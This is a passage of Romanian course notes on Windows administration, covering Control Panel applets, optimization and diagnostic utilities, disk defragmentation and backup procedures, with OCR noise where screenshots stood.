Windows a unei componente hardware pe care tocmai am instalat-o. Dupa recunoasterea
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piesei, SO va solicita instalarea unui soft special numit driver, pentru ca piesa sa poata fi
folosita in mod corespunzator. Driver-ul este furnizat de obicei de catre producatorul
componentei (este disponibil pe CD sau pe site-ul producatorului), iar in lipsa acestuia SO
Windows va folosi un asa-zis driver generic, care permite folosirea piesei insa nu la
potentialul ei maxim. Aceasta sectiune nu mai este aproape deloc folositd pentru ca
majoritatea componentelor fabricate dupa anul 2003 sunt recunoscute instantaneu de catre
SO, fara a mai fi nevoie de interventia utilizatorului, iar instalarea driver-ului este extrem de
usoara.

Add or Remove Programs ("Adaugi sau Inliturd Programe") : Permite instalarea si
dezinstalarea de programe pentru calculator (softuri).

Administrative Tools ("Instrumente pentru administrarea SO") : Contine 0 serie de utilitare
necesare pentru administrarea si optimizarea sistemului (utilitar pentru defragmentare,
partitionare, etc.).

Automatic Updates ("Actualizari Automate") : Permite alegerea modului in care dorim sa
realizam actualizarea (imbunatatirea) SO.

Date and Time ("Data si Ora™) : Permite modificarea datei (zi, lund, an), orei si fusului orar
folosite de catre SO. EXxista si optiunea ca SO sa ajusteze in mod automat ora, in cazul
trecerii la orarul de iarna sau revenirii la orarul real ("automatically adjust clock for daylight
saving changes"). Este recomandat ca aceasta optiune sa fie debifata, pentru ca trecerea la
orarul de iarna sau vara nu se face in acelasii timp peste tot in lume si este posibil ca SO sa
ajusteze ora in mod eronat.

Dial-Up Networking ("Conectarea la internet prin dial-up™) : Permite crearea de noi
conexiuni la Internet sau modificarea parametrilor celor deja existente.

Display ("Afisare") : Contine optiuni referitoare la modul de afisare a diverselor elemente din
SO Windows (ferestre, suprafata de lucru, etc.) si permite accesul la reglajele driver-ului
placii video.

Folder Options ("Optiuni referitoare la Dosare") : Contine optiuni referitoare la configurarea
avansatd a interfetei programului Windows Explorer.

Fonts ("Fonturi” - "Corpuri de Litera") : Prezinta o lista cu fonturile disponibile pentru a fi
folosite de softuri (editoare de text, etc.).

Game Controllers ("Optiuni referitoare la Jocuri™) : Permite instalarea corecta a unor
dispozitive folosite in jocuri (de ex. joystic, gamepad, etc.), ca si configurarea folosirii
taifasului prin voce ("voice chat") in timpul jocurilor.

Internet Options ("Optiuni referitoare la Internet") : Contine optiuni privind accesul la
Internet cu ajutorul programului Internet Explorer.

Keyboard ("Tastatura") : Permite configurarea tastaturii in asa fel incat sa corespunda cu
stilul nostru de a o folosi si cu limbile in care scriem in mod predominant.

Phone and Modem Options ("Modemuri”) : Permite configurarea avansata a modemului
instalat in asa fel incit conexiunea la Internet sa fie optima.

Mouse ("soricel”) : Permite configurarea mouse-ului in concordantd cu modul nostru de
folosire (mana dreapta sau stanga, etc.).

Network Connections ("Retea") : Afiseaza date despre reteaua in care se afla calculatorul
nostru (daca acesta este inclus intr-o retea) si permite configurarea unor parametri legati de
lucrul in retea.

ODBC Data Resources : Permite configurarea unor optiuni legate de lucrul cu baze de date.
Passwords ("Parole™) : Permite crearea si administrarea conturilor protejate prin parola ale
diferitilor utilizatori care folosesc calculatorul.

Power Options ("Optiuni referitoare la consumul de energie electrica") : Permite specificarea
unor scheme de reducere a consumului de curent electric.

Printersand Faxes ("Imprimante si Faxuri") : Permite identificarea de catre SO a unei
imprimante (sau fax) conectate la calculator si instalarea driver-ului acesteia.
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+ Regional and Language Settings ("Setari referitoare la zona in care locuim") : Permite
modificarea afisarii unor parametri in functie de specificul regiunii in care locuim. De
exemplu, putem alege sa afisgam data dupa modelul european (zi/luna/an) sau dupa cel anglo-
saxon (luna/zi/an).

« Scanners and Cameras ("Scanere si Camere de Luat Vederi") : Permite identificarea de
catre SO a unui scaner sau a unei camere de luat vederi (de ex. un webcam pentru taifasul in
mod multimedia prin Internet) conectate la calculator si instalarea driver-elor acestora.

¢+ Scheduled Tasks ("Sarcini Programate™) : Permite programarea unor sarcini (defragmentarea
hardiscului, etc.) pe care sa le indeplineasca SO la intervalele de timp pe care i le precizam
noi.

+« Sounds and Audio Devices ("Sunete si Componente Audio") : Contine optiuni referitoare la
folosirea calculatorului pe post de dispozitiv multimedia (audio-video). Va fi discutata pe
larg mai jos.

% Speech ("Vorbire™) : Contine optiuni referitoare la translatarea textului scris in voce, cu
ajutorul unui sintetizator artificial de voce inclus in SO si care poate fi folosit de mai multe
programe (de ex. MS Office).

% System ("Sistem") : Permite inspectarea si modificarea configuratiei sistemului in scopul
optimizarii sau depanarii calculatorului.

¢ Taskbar and Start Menu ("Bara de Procese si Meniul de Start") : Permite configurarea
avansata a acestor doua elemente ale interfetei SO Windows.

s Users Accounts ("Conturi Utilizatori") : Permite folosirea calculatorului de mai multi

utilizatori, cu memorarea preferintelor fiecaruia legate de aspectul SO si permite crearea si

administrarea conturilor personale ale utilizatorilor calculatorului.

6.2 Utilizarea instrumentelor panoului de control

Puteti utiliza Panoul de control pentru a modifica setarile pentru Windows. Aceste setari
controleaza aproape intreg modul in care aratd si functioneazd Windows si le puteti utiliza pentru
a configura Windows, astfel incat sa fie exact ce va trebuie.

Deschideti Panoul de control

< Pentru Windows 10 - n caseta de ciutare de pe bara de activitati, tastati panou de control,
apoi selectati Panou de control.

% Pentru Windows 8.1 / Windows RT 8.1 - Trageti cu degetul spre interior de marginea
dreaptd a ecranului, atingeti Cautare (sau, dacd utilizati un mouse, indicati spre coltul din
dreapta sus al ecranului, mutati indicatorul mouse-ului in jos, apoi faceti clic pe Cautare),
introduceti Panou de control in caseta de cautare, apoi atingeti sau faceti clic pe Panou de
control.

% Pentru Windows 7 - Faceti clic pe butonul Start, apoi pe Panou de control.

Gasiti elementele din Panoul de control

Atunci cand va aflati in Panoul de control:

+» Utilizati cautarea. Pentru a gasi o setare pe care va intereseaza sau o activitate pe care doriti
s-o efectuati, tastati un cuvant sau o fraza in caseta de cautare. De exemplu, tastati ,,sunet",
pentru a gasi setarile specifice pentru placa de sunet, sunetele de sistem si pictograma de
volum de pe bara de activitati.

¢ Navigare. Puteti explora Panoul de control daca selectati diferite categorii (de exemplu,
Sistem si securitate, Programe sau Accesibilitate) si vizualizati activitatile comune listate sub
fiecare categorie. Sau, sub Vizualizati dupa, faceti clic pe Pictograme mari sau Pictograme
mici pentru a vedea o lista cu toate elementele din Panoul de control.
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Panoul de control din Windows 7 va ofera acces la diverse optiuni.Acesta este grupat pe sectiuni.

Sectiunile sunt:

% System and Security - aici puteti gasi informatii despre sistemul dvs si despre securitate

¢ Network and Internet - afiseaza informatii despre retea

% Programs - afisaza programele instalate si functiile Windows cared pot fi dezactivate

%+ User Accounts and Family Safety - ofera informatii despre conturi si va ajuta sa configurati
controlul parental.

¢+ Appearence and Personalization - va permite s va personalizati computerul.

% Clock, Language and Region - puteti seta limba tastaturii sau a Windowsului

Start Settings Control Panel

Mai este numita si “Turnul de control”. Exact ca pe un aeroport, aplicatia Control Panel ofera
posibilitatea de a controla, sub diverse forme, desfasurarea activitatii pe un calculator.

Contine mai multe aplicatii, fiecare aplicatie putandu-se deschide cu pe pictograma.

Aplicatia Display

Permite controlul modului de afisare pe monitor: tapet, ecran de protectie, schema de culori,
rezolutia ecranului.

Eticheta Background - permite modificarea desenului de pe desktop, acest desen se numeste
wallpaper, adica tapet. Sunt doua moduri de afisare:

- tile il vom folosi atunci c¢ind imaginea e mica asi nu acopera tot ecranul, in aceastd situatie
imaginea grafica este repetatd pentru a umple ecranul.

- center il vom folosi pentru a centra tapetul pe suprafata de lucru, atunci cind imaginea este
suficient de mare pentru a umple intregul ecran.

Eticheta Screen Saver - permite modificarea ecranului de protectie, adicd a unui program de
protejare a ecranului (un program care afiseaza diverse modele schimbatoare atunci cind pe o
perioada de timp predeterminatd nu s-a executat nici o actiune la calculator (de la tastaturd sau
mouse).

Parolarea ecranului de protectie - exista posibilitatea ca iesirea din programul ecranului de
protectie sa fie conditionata de cunoasterea unei parole! Procedati astfel:

1. selectati un program din lista Screen Saver

2. selectati optiunea Password protected

3. tastati parola dorita in caseta de text New Password si apoi confirmati-o prin retastarea ei in
caseta de text Confirm New Password

Pe masura ce tastati parola, in casetele de taxt vor apdrea, in locul caracterelor tastate, asteriscuri
(***), impiedicind astfel alti utilizatori aflati in preajma sa vada parola.

Eticheta Apearance - permite modificarea schemei de culori pentru mediul de lucru. Puteti folosi
0 schema de culori mai veche, sau puteti crea una noud. Noua schema obtinuta poate fi salvata si
adaugata in lista Scheme.

Eticheta Settings - permite modificarea numarului de culori disponibile pe monitor, modificarea
dimensiunilor fonturilor de ecran folosite de sistemul de operare. Puteti, de asemenea, sa stergeti
schemele mai vechi.

NOTA:
Celelalte componente vor fi studiate mai pe larg la lectiile de laborator, de aceea nu o sa ne
oprim la fiecare componenta aparte, deoarece necesita mai mult timp pentru a le studia pe fiecare
in parte.
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7. Optimizarea si mentenanta SO.

Obiective:

1. Definirea uneltelor de performanta:
- Unelte pentru sistem;
- Unelte pentru defragmentarea HDD/SSD/SSHD;
2. Recunoasterea instrumentelor de diagnosticare si a procedurilor de creare a punctelor de
restaurare;
3. Studierea procedurilor de creare a copiilor de sigurant;
4. Insusirea procedurilor de restaurare a SO.

7.1 Unelte de performanta. Curitare si optimizare

Exista pentru Windows o sumedenie de utilitati printre care se afla si asa-numitele programe
de optimizare mai mult sau mai putin complete, dar in principiu au toate aceleasi functii si
niciunul nu face prea mari minuni. Majoritatea site-urilor cu programe pentru calculator fac un
index al tuturor aplicatiilor care se gisesc pe site-urile de download si le varsa una cite una pe
gitul utilizatorilor care sunt creduli si dispusi sa tot instaleze si sa dezinstaleze programe. Astfel
se face ca nu recomanda nimeni un singur program de optimizare a Windows-ului, ci arunca pe
site programe la gramada, desi au aceleasi functionalitati. Daca avem produsul x, dar mai avem
si produsul y cu functiile astea si z, toate la acelasi pret. Logic, iti vine in minte ,,Pai bine, dintre
toate astea care e cel mai bun?”

Inainte de a te arunca pe un program de optimizat Windows-ul asiguri-te ci ai intr-adevar
nevoie de el. Majoritatea utilizatorilor instaleazd pe calculator fel de fel de programe care au
auzit ei ca ar fi bune, mai ales cind vine vorba de Windows nu se dau in laturi de la nimic.

Daca totul functioneazd cum trebuie, atunci nu ai ce sa mai optimizezi. Optimizind sistemul
capeti o oarecare rapiditate in deschiderea anumitor programe sau le poti rula ceva mai lin, dar
diferenta este foarte putin sesizabild si nu confera calculatorului tau un procesor mai mare sau
inca 1GB de RAM sau orice alte caracteristici hardware. In principiu, tot ce se poate face este
focalizarea resurselor calculatorului asupra unui program tinta, prin dezactivarea sau diminuarea
resurselor necesare altor programe nu la fel de importante. Optimizarea este, practic, un mai bun
management al resurselor.

in primul rind trebuie si ai tu grija de calculatorul tiu. Folosinta propriu-zisa, instalarea si
dezinstalarea de programe, folosirea de programe piratate, navigarea pe internet in conditii
nesigure, instalarea unor programe fara a avea grija sa nu instalati si extensiile care vin odata cu
ele, sau instalarea de programe si sisteme de operare fara a tine cont de capacitatile calculatorului
au un impact negativ pe care nu il veti putea sterge cu niciun alt program de optimizare. Exista in
schimb, programe de intretinere precum cCleaner care curata Windows-ul, Malwarebytes care
elimina diversi monstruleti din calculator care scapa antivirusului si exista Battle Encoder
Shirase pentru diminuarea resurselor alocate unui proces astfel incit sa va menajati procesorul in
cazul programelor care folosesc procesorul intensiv.

Numai pentru Windows 7.

Pentru Windows 7 existd un program gratuit numit Sunrise Seven ce aminteste de celebrul
Tweak Ul pentru Windows XP. Gama optiunilor disponibile este covirsitoare, putind optimiza
dupa bunul plac cam tot ce se poate optimiza pe Windows 7, pornind de la elementele grafice si
de performanta cit si anumite functionalitdti care nu sunt neaparat necesare. Partea buna a acestui
program este, dupd cum spuneam, multitudinea de optiuni care asigura optimizarea sistemului
Windows 7 intr-un mod avansat. Partea mai putin buna este ca e atit de avansat incit puteti sa va
stricati calculatorul dac nu il folositi cum trebuie. Inainte si modificati ceva, orice, apasati
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butonul ,,Create sistem restore point” pentru a face o copie de sigurantd la care sa va intoarceti
daca ceva nu merge bine.

Numai pentru Gameri.

Daca te afli printre cei care obisnuiesc sa se joace de dimineata pina seara la calculator, atunci s-
ar putea sa te intereseze atit BES cit si un alt program gratuit de optimizare al sistemului care se
numeste Game Fire. Acesta porneste practic, functionalitatile pe care le gasim la TuneUp
Utilites in modul turbo, adica reduce niste servicii ale Windows-ului de care nu ai nevoie in timp
ce te joci: cele dedicate oferirii suportului pentru imprimante sau tablete, dezactivactivarea
efectelor vizuale, a serviciilor ce apartin de Windows Media Center, serviciul de indexare,
actualizarile automate, etc. De asemenea se ofera si posibilitatea dezactivarii unor aplicatii care
ruleaza in fundal. Acest program va instala daca nu aveti deja, Microsoft .NET Framework 3.5.

Pentru toate, inclusiv Windows 8.
Windows 8 nu are prea multe programe compatibile cu acesta, dar exista citeva care pe linga
faptul ca sunt compatibile cu Windows XP, Vista si 7, sunt compatibile si cu Windows 8.
Programul se numeste Systerac Tools for Windows si se vrea a fi o alternativa la TuneUp
Utilities care este foarte bun, dar pe. In schimb Systerac are si o varianta gratuita ce cuprinde
Disk Cleaner, Memory Optimize, Disk Quick Defrag, StartUp Cleaner, Registry Backup,
Registry Compactor, Tweaker, Scheduled Shutdown si Hardware Information. Daca astea va
ajung atunci ar trebui sa-l incercati.

Daca doriti o paletd completa de functionalitatii, cred ca gratuit nu gasiti ceva mai bun de
Puran Utilities. Este compatibil cu toate sistemele de operare mai sus mentionate si inglobeaza o
serie din cele mai folosite unelte de intretinere si optimizare a calculatorului.

7.2 Unelte de performanta. Diagnostica si stabilitate

Aplicatiile software de diagnosticare sunt instrumente de lucru intr-un Service, acestea se impart
in doua categorii mari, in functiec de natura defectiunii: instrumente software si instrumente
hardware.

Sa vedem, mai intdli, ce sunt aceste instrumente software de diagnosticare si apoi vom discuta
si despre utilitatea si modul de utilizare a lor, astfel incat beneficiile sa fie maxime. Este evident
pentru toatd lumea, cred, ca ,,software” ne trimite direct la ,,programe”, deci sunt niste programe,
mai mari sau mai mici, mai complexe — care vor fi utilizate cu precadere de profesionisti — sau
mai simple — la indemina amatorilor, fiind usor de instalat si / sau de folosit.

Primul, cel mai usor de folosit si pe care-l puteti utiliza gratis timp de o luna, este SIW.
Informatiile furnizate sunt foarte diverse, atit pentru componentele hardware cit si pentru cele
software, pentru acestea din urma fiind relevate si licentele de instalare, registrii, chiar si
problemele de securitate pe care le aveti. /FIG. 1/

Din categoria cealalta, a softurilor pentru profesionisti, cel mai utilizat este Hiren’s BootCD
(HBCD), un program de diagnosticare avansat, care se utilizeaza in modul Live (adica se ,,scrie”
imaginea ISO pe un CD si se face boot de pe el). In esenta, el nu este un program ci o colectie de
progreme, aranjate pe categorii, cu ajutorul carora se poate face aproape orice, de la
diagnosticarea hard disk-urilor si verificarea RAM-ului, la repararea bad-urilor descoperite. Este
drept ca nu poate fi folosit de oricine, unele dintre programe neavind nici macar interfata grafica
utilizator, ele fiind folosite prin intermediul liniei de comanda DOS. Aici ar mai fi de remarcat
faptul ca unele dintre ele sunt programe vechi, parte din ele chiar abandonate (in sensul ca nu s-a
mai lucrat la dezvoltarea si imbunatatirea lor), dar care lucreaza foarte bine daca stii sa te
folosesti de ele. /FIG. 2/
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Hiren’s All in 1 BootCD v9.8 Menu
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IFI1G. 2/

O alta alternativa a acestui program, care il face accesibil si utilizatorilor (e drept, a celor mai
avansati), este Ultimate BootCD — cunoscut indeosebi sub numele de UBCD4Win — care are
interfata grafica, este de fapt un Windows simplificat, care are citeva unelte care pot fi folosite
pentru diagnosticare. Se utilizeaza la fel ca HBCD, adica se ,,arde” pe un CD si se face boot de
pe el. In plus, are si citeva benchmark-uri pentru testarea computerului. /FIG. 3/

About -
see http://wwuw.ubcd4win.com for latest updates & Downloads

Boot from drive C:
Launch "The Ultimate Boot CD for Windows"
REBOOT
Insert your boot options here
Darik’s Boot And Nuke vZ2.0 © Submenu
FreeDOS
GOBACK Removal Tool
MemtestB86+ v4.10
NTFS for DOS
Offline NT Password & Registry Editor

Help
Test system memory for errors

IFIG. 3/

Daca te intrebi cum poti identifica problemele calculatorului atunci cand acesta iti da batai de
cap, programul despre care iti voi vorbi in continuare s-ar putea sd-ti fie de folos. Desigur, pentru
identificarea problemelor insotite de un numar de eroare iti voi recomanda programul Error
Messages for Windows. In schimb, daci ai un calculator lent, care se blocheaza des ori se
opreste din senin, atunci ar trebui sa rulezi PC Wizard.
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PC Wizard este unul dintre cele mai bune programe gratuite de analiza, acesta oferindu-ne
informatii pretioase despre componentele calculatorului, software-ul instalat, performantele sale
si felul in care raspunde la testele menite sa-1 streseze astfel incét sa-i poti cunoaste limitele. Cu
PC Wizard vei afla tot ce ai nevoie despre sistemul de operare, fisierele de sistem, programele
instalate in calculator, componentele hardware ale acestuia si multe altele. De asemenea, in
scopul identificarii problemelor, poti supune unui Benchmark exhaustiv atat sistemul de operare
si procesorul, cat si placa video, memoria RAM, Hard Disk-ul sau Hard Disk-urile instalate in
calculator, printre altele.

Testele, desi unii ar putea crede cu totul si cu totul altceva, au rolul de a ne informa de
eventualele probleme ale componentei hardware sau software supuse lor. Prin urmare, daca
programul raporteaza ca unul dintre acestea nu a putut fi testate sau daca rezultatele oferite la
finalizarea testului sunt foarte mici in comparatie cu punctajul maxim posibil, vom sti cd ceva nu
este in regulad cu acea componentd si ca trebuie sd luam rapid masuri de prevenire a agravarii
problemei. PC Wizard /FIG. 4/ este un program gratuit, portabil, compatibil cu toate versiunile
actuale ale sistemului de operare Windows. In timpul utilizarii sale vd recomand s inchideti
celelalte programe care ruleaza pe fundal. In caz contrar, rezultatelor testelor nu vor reflecta
starea reala a calculatorului si componentelor sale.

adl PC Wizard 2015 - [Debug Mode] = =
File Edit Tools View Help
H:D R Ll abBE D e Check for Drivers / Bios updates JjJn 48

Hordwore | RECSN e/
IB E @ Item Description
j  Manufacturer Dell Inc.
Y rg O [EMainboard _ Dell OVEWGR |
— = 2 Bios Dell Inc.
@ §' 3@ < Chipset Intel vy Bridge
= =8 Physical Memory 4096 ME DDR3-5DRAM
e CL'};} -,?: 0LPC bus Yes
= PEIPCI Bus Yes
? @ P&l Bus PCl-Express Yes
QUSE Bus es
@ SMBus/i2c Bus Yes
‘0 Bus HyperTransport Mo
@ Bus OPI No
0 Bus CardBus Mo
& Bus FireWire Mo
Informaticon Drivers
» General Information : L
Manufacturer: Dell Inc. [Dell}
Product : OVBWGR
Version :
Serial Number : S2YL5D5)/CNT220024B00VM/
Support MP: Yes, 4 CPU(s)
Version MPS : 14
» Chassis Information :
Manufacturer: Dell Inc.
Type: Lunch Box
WVersion :
Serial Number : 2¥L505)
Asset:
Configuration
S = » OEM Support :
= HPET:
Resources SLIC: ’
Benchmark SLP QA va2.0 hd
y Ready. =4 Processor(s) activity : 5% | |
IFIG. 4/
Sfaturi:

¢ Daca aveti probleme cu computerul si se afiseaza un cod de eroare (inclusiv ,,vestitul”
ecran albastru), o idee excelenta este Google Search Engines, care va poate da informatii
extrem de pretioase pentru diagnosticare. Daca problema este uzuald, rezolvarea poate
veni chiar de pe forum-urile de specialitate in care profesionistii ofera sfaturi;
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X/

% UBUNTU Live CD. Este un Linux care poate rula de pe un Live CD si din care puteti
efectua diverse operatii — cum ar fi recuperarea de fisiere, lucrul cu partitiile (formatare,
lipire, sterge sau crea), testarea RAM-ului ori scanarea de virusi.

7.3 Unelte de performanti. intretinerea si defragmentarea HDD-lui

Intretinerea unui sistem de calcul se extinde si asupra partii software, nu numai a celei hardware.
Pentru a functiona la capacitate maxima din punct de vedere al performantei calculatorului,
trebuie ca sistemul de racire sa fie intretinut prin eliminarea prafului acumulat in interiorul
calculatorului, eventual 1inlocuirea anumitor parti ale acestuia (de exemplu coolerele /
ventilatoarele care nu mai functioneaza in parametrii normali). O altd practica ce are efect asupra
partii fizice a calculatorului este procesul de defragmentare a hard discului.

Defragmentarea hard discului este un proces prin care continutul unui fisier este stocat fizic
pe disk in fragmente de date alaturate, astfel ca citirea fisierului respectiv se face in timp util,
liniar. HDD stocheaza datele in blocuri de dimensiune fixa, iar atunci cind un fisier depaseste
aceasta dimensiune, fisierului respectiv i vor fi atribuite o succesiune de blocuri de date.
Problema apare atunci cind aceste date se modifica si nu se poate folosi spatiul din blocurile de
date imediat urmatoare, eventual ramin blocuri de date goale inconjurate de blocuri scrise.

Fragmentarea inseamna ca un fisier este stocat in mai multe locatii fizice ale hard discului,
ceea ce presupune ca actiunile capului de citire a datelor se va deplasa neuniform si uneori
dezordont printre sectoarele hard discului, ducind la cresterea timpului de citire si scaderea
duratei de viata a dispozitivului.

Fragmentarea devine o problema serioasa atunci cind hard discul este de capacitate mare,
depasind sute de GB, si cu cit creste gradul de fragmentare cu atit rapiditatea sistemului de
operare si a programelor care ruleaza scade, contribuind uneori la suprasolicitarea hard discului
si degradarea capului de citire.

Din fericire exista posibilitatea de a rearanja ordonat continutul discului - defragmentarea.
Defragmentarea se face cu ajutorului unui program, care este incorporat si in sistemul de operare
Windows si in functie de gradul de fragmentare si capacitatea de stocare a partitiei, procesul
poate dura si citeva ore, uneori zile — daca este un HDD de capacitate peste 2TB.

1. Defragmentarea folosind ustensila Disk Defragmenter din Windows. /FIG. 5/
Fragmentarea este uzuala in sistemul de operare Microsoft Windows, celelalte sisteme de
operare precum Mac sau Linux au o infrastructura de stocare a datelor mai eficienta. Accesarea
Disk Defragmenter se poate face in mai multe feluri, un exemplu fiind urmatorul:

Start -> scrieti defrag in bara de cautare -> Defragment your hard drive.

7

% Pasul 1. Selectati partitia;
s Pasul 2. Analizati acea partitie pentru a determina gradul de fragmenatre si daca discul
necesita defragmentare;

X/

¢+ Pasul 3. Inceperea procesului de defragmentare.

2. Defragmentarea folosind un program separat, specializat. /FIG. 6/

Un exemplu de astfel de program este Defraggler, produs de aceeasi companie care a dezvoltat

programe ca CCLEANER - program care curata si optimizeaza Windows-ul, Recuva -

recuperare fisiere sterse din gresala, Speccy — informatii hardware calculator.

Eficienta lui Defraggler este identica cu Disk Defragmenter din Windows, dar aduce multiple

imbunatatiri precum:

% permite defragmentarea nu numai la nivel de partitie, dar si la nivel de fisier;

¢+ organizeaza sectoarele goale ale HDD pentru a reduce fragmentarile care pot aparea ulterior;

¢ utilizatorul poate vizualiza grafic sectoarele unei partitii;

+ este disponibil pentru toate versiunile Windows incepand cu XP si ofera interfata tradusa in
37 de limbi, inclusiv limba romana;
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4j Disk Defragmenter o & =]

2+ Disk Defragmenter consolidates fragmented files on your computer's hard disk to improve system
@' performance. Tell me more about Disk Defragmenter.

Schedule:

Scheduled defragmentation is turned on [ '@ Configure schedule...
Run at 1:00 AM every Wednesday

Mext scheduled rum: 4/8/2015 2:32 AM

Current status:

Disk Last Run 1. Selectati partitia dorita  Progress

) 4/1/2015 617 PM (0% fragmented)
ca D) 372072015 10:43 PM (D% fragmented)
ca W MWolumel6cB2d0ce-3320...  3/27/2015 1:52 AM (0% fragmented)

Only disks that can be defragmented are shown.
To best determine if your disks need defragmenting right now, you need to first analyze your disks,
2 3

) Analyze disk %) Defragment disk

G Piriform Defraggler EI@
Action Settings Help
Drive Media Type Capadty Used Free Space  Fragmentation Status
£ Local Disk {C2) HDD (NTFS) 58.6GB 52.3 GB {90%) 5.3 GB (10%) 7% Analysis Complete
s Local Disk (D) HDD (NTFS) 239.4GB  223.7GB (93%) 15,7 GB {7%) Unknown Ready

iiiiiiiiggiEiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii
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(][]
I 1 ) ] T ] 1 T T T T e e
iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiil ] 55 e

& DrveC: | | Fielist | / Search | ) Divemap | ¢ Heatth | gl Statistics|

Status Properties

— Analysis Complete
Disk Health: GOOD

Analysiz results:
265 Fragmented Files (3.9 GB)
1,242 Total Fragments . Used space: 56.650.612.736 bytes 52EGB
7% Fragmentation [] Free space: 6.263,943,168 bytes  58GB
| Viewfies... | | Benchmark dive | Capacy: 52914555904 bytes  58.6GB
Analyze I l Defrag |v] ‘ Pause ‘ ‘ Stop |
Online Help Check for updates... i
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7.4 Unelte de performanta. Crearea unei copii de rezerva

Transferul fisierelor i setarilor pe alt computer cu Windows 7
Windows Easy Transfer va permite sa creati copii de rezerva pentru fisierele si setarile tuturor
conturilor de utilizator si sa restaurati acele conturi si toate fisierele si setarile utilizatorilor pe un
computer nou.
Pentru a porni Windows Easy Transfer, procedati astfel:
1. Efectuati clic pe Start, butonul Start , tastati windows easy transfer in caseta Pornire cautare,
apoi faceti clic pe Windows Easy Transfer in lista Programe.
2. Urmati instructiunile pentru a transfera figierele si setarile.

Copierea de rezerva a datelor curente ca masura de precautie

Aveti posibilitatea sa utilizati Centrul de restaurare si copiere de rezerva Windows 7 pentru a

crea copii de rezerva pentru datele curente ca masurd de precautie. Retineti cd datele din

Windows 7 pentru care s-au creat copii de rezerva pot fi restaurate numai intr-un sistem de

operare Windows 7.

1. Efectuati clic pe Start, butonul Start , tastati backup in caseta Pornire cautare, apoi efectuati
clic pe Copiere de rezerva si restaurare in lista Programe.

2. Daca vi se solicitd sa inchideti programe, asigurati-va ca ati salvat orice documente deschise,
apoi inchideti acele programe sau faceti clic pe Inchidere programe.

3. Sub Copiere de rezerva sau restaurare fisiere, efectuati clic pe Configurare copiere de

rezerva.

Selectati locatia in care doriti sa salvati copia de rezerva, apoi faceti clic pe Urmatorul.

5. Selectati Se permite ca Windows sa aleagd sau Se permite alegerea, apoi efectuati un clic pe
Urmatorul.

6. Efectuati selectia dorita, apoi efectuati un clic pe Urmatorul sau pe Salvare setari si executare
copiere de rezerva.

7. Copia de rezerva va fi salvata in locatia de copiere de rezerva.

&

Crearea manuald a unei copii a fisierelor

Pentru a copia manual fisierele Intr-o locatie de retea sau pe o unitate amovibild cum ar fi un

hard disk amovibil, un CD, un DVD sau o carteld de memorie USB, procedati astfel:

1. Faceti clic pe Start, butonul Start , faceti clic pe Computer, apoi faceti dublu clic pe unitatea
pe care este instalat Windows 7.

2. Deschideti folderul Users, apoi deschideti folderul utilizatorului pentru care dorifi sa creati
copii de rezerva pentru fisiere.

3. Copiati folderele necesare din folderul utilizatorului intr-o locatie de retea sau pe o unitate
media amovibila.

Nota:

Pentru a crea copii de rezerva pentru datele tuturor utilizatorilor, repetati pasii 2 si 3. Pentru a
determina dimensiunea tuturor fisierelor din folderul utilizatorului, selectati toate folderele,
faceti clic cu butonul din dreapta pe folderele selectate, apoi faceti clic pe Proprietati. Fisierele
salvate se pot copia pe orice computer. Insa, trebuie si aveti instalate aplicatii asociate pe acel
computer pentru a deschide fisierele individuale.

Important:

Nu toate aplicatiile salveaza fisierele lor in folderul de utilizator. Se recomanda sa verificati
celelalte aplicatii si locatia figierelor salvate ale acestora, apoi sa copiati acele fisiere in locatia de
retea sau pe unitatea media amovibila.
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Doar fisierelor din Librarie li se pot crea copii de rezerva (backup)

In Windows 7, poti face copie de rezervi la orice fisier de pe calculatorul tiu — nu doar fisierele
personale, dar si fisierele de program, fisierele de sistem sau orice altceva. De asemenea, poti
crea o imagine a intregului sistem care poate fi folosita la readucerea calculatorului la starea
initiala.

In Windows 8 s-a ficut o schimbare majord. Nu se mai pot crea imagini de sistem, nici s
creezi copie de rezervi la orice fisier din memoria calculatorului tau. In schimb, poti face copie
de siguranta doar la fisierele din Librarie, fisiere de pe desktop, contactele si paginile favorite din
programul de navigare pe Internet. File History din Windows 8 este creat sa protejeze fisierele
personale ale utilizatorului, care sunt de neinlocuit. In schimb, este mai putin necesara 0 copie de
siguranta a figierelor de sistem, deoarece sistemul de operare si aplicatiile pot fi reinstalate.

Daca doresti sa faci o copie de sigurantd a altor fisiere din memorie, poti sa le adaugi in
Librarie si sa-i ceri sistemului de operare Windows 8 sa faca o copie de siguranta a acelei
librarii. Poti exclude anumite fisiere din Librarie sa li se faca o copie de siguranta, dar nu poti sa
incluzi figiere din afara librariei sau desktop-ului.

Copie de sigurantd programatda
File History este creat sa facd o copie de sigurantd fisierelor dumneavoastra intr-un mod
programat, asadar poti reveni la o versiune anterioard a fisierelor sau recuperarea unui fisier
sters. Acest lucru minimizeaza si riscul de a pierde date — daca intamplator calculatorul
dumneavoastra intampina o defectiune si pierdeti toate fisierele, puteti recupera o parte din ele
deoarece li s-au facut o copie de siguranta anterior.

Cand setati crearea de copii de sigurantd in Windows 7 Windows Backup, programul
prestabilit este de a crea copie de siguranta o data la o luna.

Cand setati crearea de copii de siguranta in Windows 8, este setat sa creeze copii intr-un mod
continuu creand imagini ale ultimelor versiuni a fisierelor in fiecare ora.

Recuperare fisierelor din copiile de siguranta intr-un mod simplu

File History incorporeaza functia Versiunile Precedente (Previous Versions) din Windows 7,
care va permite sa reveniti la o versiune anterioard a fisierelor intr-un mod foarte simplu.
Restaurarea fisierelor din File History este o operatiune similara. Poti face acest lucru chiar din
File Explorer (cunoscut anterior ca Windows Explorer) — doar faceti click pe butonul History din
bara de unelte.

In Windows 7, trebuie sa deschideti panoul de control al Windows Backup si sa folositi
indrumatorul Restore My Files pentru restaurarea fisierelor din copiile de siguranta. Puteti
readuce un fisier la o versiune anterioara prin click dreapta pe el si folosind fereastra de
proprietati, dar versiunea anterioara a fisierului provine din alta parte, din System Restore Point
— nu neaparat din copia de siguranta facuta de Windows Backup.

Alte optiuni

Windows 8 File History are, de asemenea, si alte optiuni care pot fi folosite pentru a se crea copii
de siguranta intr-un mod diferit. Spre exemplu, este usor de setat — cand conectati o memorie
externd, veti fi intrebati daca dorifi sa o folositi pentru copiile de sigurantd. Nu mai puteti folosi
memoria internd a calculatorului pentru copiile de siguranta — veti avea nevoie de o memorie
externd sau de un server. Acest lucru va forteaza sa deprindeti un obicei in a face copii de
siguranta in mod bun — nu are nicio logica sa faceti copii de siguranta a fisierelor dumneavoastra
